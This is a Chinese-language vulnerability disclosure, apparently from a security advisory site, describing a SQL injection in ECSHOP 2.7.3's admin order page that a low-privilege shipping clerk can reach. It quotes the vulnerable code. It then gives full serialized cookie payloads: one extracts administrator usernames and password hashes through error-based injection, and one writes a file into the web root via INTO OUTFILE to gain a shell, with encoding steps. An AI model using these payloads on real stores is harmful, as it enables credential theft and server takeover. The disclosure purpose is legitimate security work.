### 简要描述：
ECSHOP后台低权限sql注入一枚
### 详细说明：
普通发货员在登陆之后只需要一个订单列表的权限（也就是低权限管理员即可）就可以注入得到超管权限
如有文件权限还可以getshell
问题出在/admin/order.php中
```
if (!empty($_COOKIE['ECSCP']['lastfilter']))
{
$filter = unserialize(urldecode($_COOKIE['ECSCP']['lastfilter']));///// //这里urldecode了$_COOKIE['ECSCP']['lastfilter']，可怜的GPC~~唉……
if (!empty($filter['composite_status']))
{
$where = '';
//综合状态
switch($filter['composite_status'])
{
case CS_AWAIT_PAY :
$where .= order_query_sql('await_pay');
break;
case CS_AWAIT_SHIP :
$where .= order_query_sql('await_ship');
break;
case CS_FINISHED :
$where .= order_query_sql('finished');
break;
default:
if ($filter['composite_status'] != -1)
{
$where .= " AND o.order_status = '$filter[composite_status]' "; //这里将composite_status直接带入了sql
}
}
}
```
------详细过程------------------------------------------
1.点击订单列表：

2.点击后会set三个cookie，修改ECSCP[lastfilter]为（其实就是改composite_status）：

修改ECSCP[lastfilter]为（其实就是改composite_status）：

也就是
a:28:{s:8:"order_sn";s:0:"";s:9:"consignee";s:0:"";s:5:"email";s:0:"";s:7:"address";s:0:"";s:7:"zipcode";s:0:"";s:3:"tel";s:0:"";s:6:"mobile";i:0;s:7:"country";i:0;s:8:"province";i:0;s:4:"city";i:0;s:8:"district";i:0;s:11:"shipping_id";i:0;s:6:"pay_id";i:0;s:12:"order_status";i:-1;s:15:"shipping_status";i:-1;s:10:"pay_status";i:-1;s:7:"user_id";i:0;s:9:"user_name";s:3:"333";s:16:"composite_status";s:200:"1' and (select 1 from(select count(*),concat((Select concat(0x5b,user_name,0x3a,password,0x5d) FROM ecs_admin_user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1";s:12:"group_buy_id";i:0;s:7:"sort_by";s:8:"add_time";s:10:"sort_order";s:4:"DESC";s:10:"start_time";s:0:"";s:8:"end_time";s:0:"";s:4:"page";i:1;s:9:"page_size";i:15;s:12:"record_count";s:2:"19";s:10:"page_count";d:2;}
3.然后随意访问一个order，比如：
http://localhost/ecshop273/admin/order.php?act=info&order_id=19
[<img src="https://images.seebug.org/upload/201312/19141021502d3b1e1310d8ba4c0b433c0cd9614b.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201312/19141021502d3b1e1310d8ba4c0b433c0cd9614b.jpg)
即可达到注入的目的
4.如上图中，此处注入同时可以爆出路径，因此，当拥有写权限的时候
将cookie改为：
a:28:{s:8:"order_sn";s:0:"";s:9:"consignee";s:0:"";s:5:"email";s:0:"";s:7:"address";s:0:"";s:7:"zipcode";s:0:"";s:3:"tel";s:0:"";s:6:"mobile";i:0;s:7:"country";i:0;s:8:"province";i:0;s:4:"city";i:0;s:8:"district";i:0;s:11:"shipping_id";i:0;s:6:"pay_id";i:0;s:12:"order_status";i:-1;s:15:"shipping_status";i:-1;s:10:"pay_status";i:-1;s:7:"user_id";i:0;s:9:"user_name";s:3:"333";s:16:"composite_status";s:72:"1' union select 1 into outfile 'F:/wamp/www/ECShop273/includes/1.txt'#--";s:12:"group_buy_id";i:0;s:7:"sort_by";s:8:"add_time";s:10:"sort_order";s:4:"DESC";s:10:"start_time";s:0:"";s:8:"end_time";s:0:"";s:4:"page";i:1;s:9:"page_size";i:15;s:12:"record_count";s:2:"19";s:10:"page_count";d:2;}
将上面代码经过---“两次urlencode”---，然后放到cookie的ECSCP[lastfilter]中
再访问任意一个ORDER，好的~~shell躺着了~~
